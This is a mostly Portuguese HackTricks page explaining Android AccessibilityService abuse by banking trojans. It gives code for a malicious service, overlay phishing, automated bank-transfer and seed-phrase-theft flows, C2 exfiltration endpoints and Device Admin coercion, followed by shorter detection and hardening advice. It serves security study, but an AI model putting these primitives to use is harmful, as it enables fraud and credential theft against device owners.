Android Accessibility Service Abuse

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão geral

AccessibilityService foi criado para ajudar usuários com deficiências a interagir com dispositivos Android. Infelizmente, as mesmas powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) podem ser utilizadas por malware para obter controle remoto completo do aparelho sem privilégios de root.

Trojans bancários Android modernos e Remote-Access-Trojans (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e muitos outros seguem a mesma receita:

  1. Social-engineer a vítima para habilitar um serviço de acessibilidade malicioso (a permissão BIND_ACCESSIBILITY_SERVICE é considerada "high-risk" e requer uma ação explícita do usuário).
  2. Aproveitar o serviço para
  • capturar todos os eventos de UI e textos que aparecem na tela,
  • injetar gestos sintéticos (dispatchGesture) e ações globais (performGlobalAction) para automatizar qualquer tarefa que o operador desejar,
  • desenhar overlays em tela cheia sobre apps legítimos usando o tipo de janela TYPE_ACCESSIBILITY_OVERLAY (sem prompt SYSTEM_ALERT_WINDOW!),
  • conceder silenciosamente permissões de runtime adicionais clicando nos diálogos do sistema em nome da vítima.
  1. Exfiltrar dados ou executar On-Device-Fraud (ODF) em tempo real enquanto o usuário está olhando para uma tela aparentemente normal.

Requesting the permission

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

O XML acompanhante define como o diálogo falso ficará:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitivas de automação de UI remota

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Com apenas essas duas APIs, um atacante pode:

  • Desbloquear a tela, abrir o aplicativo bancário, navegar na sua árvore de UI e submeter um formulário de transferência.
  • Aceitar todos os diálogos de permissão que surgirem.
  • Instalar/atualizar APKs extras via intent do Play Store.

Padrões de abuso

1. Overlay Phishing (Credential Harvesting)

Um WebView transparente ou opaco é adicionado ao gerenciador de janelas:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

A vítima digita credenciais no formulário falso enquanto o app em segundo plano recebe os mesmos gestos – nenhum prompt suspeito "draw over other apps" é exibido.

Exemplo detalhado: a Accessibility Overlay Phishing section inside the Tapjacking page.

2. Automação de fraude no dispositivo

Famílias de malware como PlayPraetor mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (init, update, alert_arr, report_list, …). O serviço traduz esses comandos nos gestos de baixo nível acima, realizando transações não autorizadas em tempo real que contornam facilmente a autenticação multifator vinculada a esse mesmo dispositivo.

3. Transmissão e monitoramento de tela

Ao combinar a MediaProjection API com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para rtmp://<c2>:1935/live/<device_id>, dando ao adversário perfeita consciência situacional enquanto o engine Accessibility controla a UI.


PlayPraetor – fluxo de comando e controle

  1. HTTP(S) heartbeat – iterar sobre uma lista hard-coded até que um domínio responda POST /app/searchPackageName com o C2 ativo.
  2. WebSocket (port 8282) – comandos JSON bidirecionais:
  • update – push new conf/APKs
  • alert_arr – configure overlay templates
  • report_list – send list of targeted package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – transmissão ao vivo de tela/vídeo.
  2. REST exfiltration
  • /app/saveDevice (impressão digital)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (credenciais bancárias)

A AccessibilityService é o motor local que converte esses comandos da nuvem em interações físicas.


Detectando serviços de acessibilidade maliciosos

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – procure por apps que não sejam do Google Play.
  • Soluções MDM / EMM podem impor ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) para bloquear serviços instalados por sideload.
  • Analisar serviços em execução:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Recomendações de endurecimento para desenvolvedores de apps

  • Marque views sensíveis com android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) com FLAG_SECURE para prevenir sequestro de toques/overlays.
  • Detecte overlays consultando WindowManager.getDefaultDisplay().getFlags() ou a API ViewRootImpl.
  • Recuse operar quando Settings.canDrawOverlays() ou um Accessibility service não confiável estiver ativo.

ATS automation cheat-sheet (Accessibility-driven)

Malware pode automatizar totalmente um app bancário usando apenas Accessibility APIs. Primitivas genéricas:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Fluxo de exemplo (tcheco → rótulos em inglês):

  • "Nová platba" (Novo pagamento) → clicar
  • "Zadat platbu" (Inserir pagamento) → clicar
  • "Nový příjemce" (Novo destinatário) → clicar
  • "Domácí číslo účtu" (Número de conta doméstica) → focalizar e ACTION_SET_TEXT
  • "Další" (Próximo) → clicar → … "Zaplatit" (Pagar) → clicar → inserir PIN

Fallback: coordenadas fixas com dispatchGesture quando a busca por texto falha devido a widgets personalizados.

Também observado: etapas prévias para check_limit e limit navegando até a interface de limites e aumentando os limites diários antes da transferência.

Pseudo-transmissão baseada em texto da tela

Para controle remoto de baixa latência, em vez de transmitir vídeo completo, extraia uma representação textual da árvore UI atual e envie-a repetidamente para o C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Isto é a base para comandos como txt_screen (one-shot) e screen_live (contínuo).

Device Admin coercion primitives

Uma vez que um receptor Device Admin esteja ativado, essas chamadas aumentam as oportunidades de capturar credenciais e manter o controle:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Nota: a disponibilidade exata dessas políticas varia conforme a versão do Android e o OEM; valide o papel de device policy (admin vs owner) durante os testes.

Crypto wallet seed-phrase extraction patterns

Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
  • Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Coletar a frase via keylogging dos nós de texto, bypass de secure-screen, ou screenshot OCR quando o texto estiver obscured.
  • Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer viewIdResourceName when available, fallback to multilingual text matching.

NFC-relay orchestration

Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks